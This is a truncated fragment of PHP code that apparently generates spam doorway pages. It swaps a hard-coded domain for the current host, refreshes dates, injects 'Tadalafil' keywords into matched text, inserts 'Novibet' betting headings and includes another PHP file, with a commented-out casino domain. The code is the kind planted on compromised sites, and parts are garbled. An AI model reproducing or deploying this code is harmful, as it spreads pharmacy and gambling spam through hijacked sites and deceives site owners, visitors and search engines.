',$counter.'',$tmp); // $tmp = str_replace('mississippimanorbnb.com','bitcoincasino.jp',$tmp); $tmp = preg_replace('|20[0-9]{2}|',date('Y'),$tmp); $tmp = str_replace('abadacapoeira.eu',$_SERVER['HTTP_HOST'],$tmp); $re = '|([\w]{2,}\s){2,}|'; preg_match_all($re, $tmp, $m); // var_dump($m);die(); $tmp = str_replace($m[0][0], $m[0][0].' Tadalafil', $tmp); $tmp = str_replace($match[0], $match[0]. 'Tadalafil', $tmp); // $tmp = str_replace('

Novibet

', 'Novibet', $tmp); $tmp = preg_replace('|()|', '

Novibet

', $tmp, 1); echo $tmp; include('incmat.php');